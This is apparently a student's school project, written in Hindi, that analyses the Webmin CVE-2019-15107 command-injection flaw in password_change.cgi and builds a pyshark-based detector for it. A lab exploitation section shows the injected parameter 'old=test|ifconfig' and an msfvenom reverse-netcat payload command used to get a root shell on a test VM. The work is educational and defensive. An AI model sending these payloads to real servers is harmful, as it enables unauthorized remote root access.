
स्कूल प्रोजेक्ट
I. CVE-2019-15107 का अवलोकन
Webmin Unix के लिए सिस्टम प्रशासन हेतु एक वेब-आधारित इंटरफ़ेस है। किसी भी वेब ब्राउज़र का उपयोग करके, हम उपयोगकर्ता खाते, Apache, DNS, फ़ाइल साझाकरण और बहुत कुछ सेट कर सकते हैं।
10/8/2019 को तुर्की के साइबर सुरक्षा शोधकर्ता Özkan Mustafa Akkuş ने DefCon में इस Zero-day भेद्यता का खुलासा किया। भेद्यता प्रकाशित करने के अलावा, Akkuş ने इस भेद्यता के शोषण को स्वचालित करने के लिए एक Metasploit मॉड्यूल भी जारी किया। password_change.cgi फ़ाइल के पासवर्ड रीसेट फ़ंक्शन में कोड निष्पादन दोष के कारण, यह भेद्यता तीसरे पक्ष को इनपुट प्रमाणीकरण के बिना दुर्भावनापूर्ण कोड निष्पादित करने की अनुमति देती है।
II. प्रभावित संस्करण
यह भेद्यता Webmin के 1.882 से 1.921 तक के संस्करणों को प्रभावित करती है। इस भेद्यता को रोकने के लिए, जो लोग Webmin का उपयोग कर रहे हैं उन्हें Webmin के नवीनतम संस्करण 1.93 में अपडेट करना चाहिए।
III. भेद्यता विश्लेषण
इस भेद्यता का शोषण करने के लिए, Webmin में "उपयोगकर्ता पासवर्ड बदलने की अनुमति दें" सुविधा को सक्षम होना आवश्यक है। यह एकमात्र शर्त है, हालाँकि, कई Webmin व्यवस्थापक इस सुविधा को सक्रिय करते हैं। यह उपयोगकर्ताओं को पुराने पासवर्ड के साथ नया पासवर्ड सेट करने की अनुमति देता है। Webmin एप्लिकेशन के सोर्स कोड में, कुछ उल्लेखनीय ".cgi" फ़ाइलें हैं। उनमें से एक password_change.cgi है।

इस फ़ाइल में पैरामीटर काम करने के लिए केवल एक आवश्यकता है, वह यह है कि कॉन्फ़िगरेशन फ़ाइल "miniserv.conf" में "passwd_mode" मान "2" पर सेट हो।

इस समय, हम पुराने पासवर्ड के सत्यापन के दौरान /etc/shadow फ़ाइल को पढ़ने के लिए "|" का उपयोग करेंगे। उदाहरण के लिए, सामान्य पासवर्ड बदलने वाला कमांड:

यदि हम नीचे दिखाए अनुसार पासवर्ड बदलने वाले कमांड में “ifconfig” जैसा एक सरल कमांड जोड़ते हैं, तो “ipconfig” कमांड निष्पादित हो गया और परिणाम प्रदर्शित हुआ।

IV. परिनियोजन मॉडल
Ubuntu मशीन (victim) जिसमें Webmin संस्करण 1.920 स्थापित है, IP पता: 192.168.109.128

Kali मशीन (attacker) जिसका IP पता: 192.168.109.131

चूँकि यह CVE Webmin के पुराने पासवर्ड समाप्त होने पर पासवर्ड रीसेट करने के कार्य पर आधारित है, इसलिए victim को Webmin को उस मोड में स्थापित करना होगा जो है “Prompt users with expired password to enter a new one”।

V. CVE भेद्यता का शोषण
सबसे पहले, attacker मशीन Burp Suite का उपयोग करके उन request को कैप्चर करेगी जो Webmin पर पासवर्ड बदलते समय इस लिंक से भेजी जाती हैं: 192.168.109.128:10000/password_change.cgi (victim का IP)

फिर attacker मशीन इस request को Burp Suite के Repeater टैब के माध्यम से भेजती है ताकि दोष का परीक्षण किया जा सके।

Attacker कैप्चर किए गए request पैकेट से कुछ जानकारी संपादित करता है। क्योंकि पासवर्ड बदलने के लिए HTTP Method POST होना चाहिए, न कि शुरुआत की तरह GET।

फिर attacker मशीन victim के Webmin सर्वर पर पुराने पासवर्ड से पासवर्ड बदलने का एक request भेजने का प्रयास करेगी:
“user=test&pam=&old=test&new1=test2&new2=test2”

Request भेजने पर, हमें सूचना मिलती है कि पुराना पासवर्ड मेल नहीं खाता (The current password is incorrect), इसलिए मूल बात "old" पैरामीटर में है।
इसके बाद हम old पैरामीटर के बाद ifconfig जैसा एक बुनियादी कमांड डालने का प्रयास करते हैं, ताकि जब सर्वर पुराने पासवर्ड की जाँच करे, तो हमारा डाला गया कमांड भी निष्पादित हो जाए। उदाहरण के लिए:
“user=test&pam=&old=test|ifconfig&new1=test2&new2=test2”

ऊपर की तरह, जब सर्वर पुराने पासवर्ड की जाँच करता है तब भी वह गलत होता है, लेकिन उस पासवर्ड की जाँच के बाद "ifconfig" कमांड निष्पादित और प्रदर्शित हो जाता है।
फिर, root अधिकार प्राप्त करने के लिए हम Metasploit framework का उपयोग करके एक payload बनाएंगे और victim के Webmin सर्वर पर भेजेंगे ताकि shell session प्राप्त हो सके।
“msfvenom -p cmd/unix/reverse_netcat lhost= lport=”

इसके बाद, हम payload को कॉपी करके Burp Suite पर request में डालते हैं।

Webmin सर्वर पर payload युक्त request भेजने के बाद, victim मशीन reverse shell से प्रभावित हो गई। Attacker मशीन को victim मशीन (ip: 192.168.109.128 port 37218) से एक shell session प्राप्त हुआ।

इस प्रकार, हमने इस CVE भेद्यता के माध्यम से root प्राप्त कर लिया है।

VI. हमले के signature की पहचान
नेटवर्क पर पैकेट कैप्चर करने के लिए Wireshark का उपयोग करें।

चूँकि इस CVE का शोषण करने के लिए, attacker को HTTP के POST Method के माध्यम से दुर्भावनापूर्ण payload युक्त request भेजने के लिए /password_change.cgi लिंक पर निर्भर रहना पड़ता है, इसलिए हमें Wireshark पर कैप्चर किए गए HTTP पैकेटों का विश्लेषण करना होगा।

हम देख सकते हैं कि Webmin सर्वर द्वारा बदले जाने वाले पुराने पासवर्ड की जाँच के दौरान "ifconfig" कमांड डाला गया है।

इसलिए, हम इस CVE के signature को /password_change.cgi लिंक के माध्यम से पासवर्ड बदलने की प्रक्रिया में पारित पैरामीटर के रूप में पहचानते हैं: “user=test&pam=&old=test | <attacker जो command निष्पादित करना चाहता है> &new1=test2&new2=test2” VII. CVE-2019-15107 हमले का पता लगाने वाले टूल का निर्माण
जैसा कि ऊपर विश्लेषण किया गया है, इस CVE का शोषण करने के लिए attacker को हमला करने हेतु old ("पुराना पासवर्ड") पैरामीटर में command डालना होगा।

इस CVE भेद्यता के आधार पर command डालने का प्रयास करने वालों का पता लगाने के लिए, हमें "pyshark" टूल का उपयोग करके उनके द्वारा भेजे गए HTTP पैकेटों को कैप्चर और विश्लेषण करना होगा।

कैप्चर किए गए HTTP पैकेट में डेटा Hex रूप में लौटाया जाता है। "old=" पैरामीटर और "|" के आधार पर हम जान सकते हैं कि कोई इस CVE का शोषण करने का प्रयास कर रहा है। checkPayload फ़ंक्शन यह जाँचने के लिए है कि HTTP पैकेट में समस्या है या नहीं।

फिर, यह पहचानने के बाद कि कौन सा HTTP पैकेट समस्याग्रस्त है, getCommand फ़ंक्शन उन commandों को प्रिंट करेगा जिन्हें attacker निष्पादित कर रहा है।

पैकेट कैप्चर और विश्लेषण प्रक्रिया भी .csv प्रारूप में दर्ज की जाती है।

VIII. प्रोग्राम का डेमो
जब attacker हमला करता है, प्रोग्राम वास्तविक समय में चेतावनी देगा।

प्रोग्राम रोकने पर, प्रोग्राम चलाने के दौरान कैप्चर किए गए traffic की एक .csv फ़ाइल दर्ज की जाएगी (http payload hex रूप में)

प्रोग्राम खतरनाक चेतावनियों का लॉग भी दर्ज करता है।

IX. निष्कर्ष सीखने की प्रक्रिया और कक्षा में अभ्यास करने के दौरान, मैं मैलवेयर को समझने और विश्लेषण करने की प्रक्रिया को कुछ हद तक समझ पाया। CVE-2019-15107 भेद्यता का शोषण करने और उसका पता लगाने वाला प्रोग्राम बनाने के दौरान, मैंने सीखे गए ज्ञान को signature के माध्यम से भेद्यता का पता लगाने वाले प्रोग्राम के विश्लेषण और निर्माण में लागू किया, जिससे जानकारी के विश्लेषण, पता लगाने और प्रबंधन के साथ-साथ नेटवर्क सुरक्षा निगरानी की क्षमता में सुधार हुआ।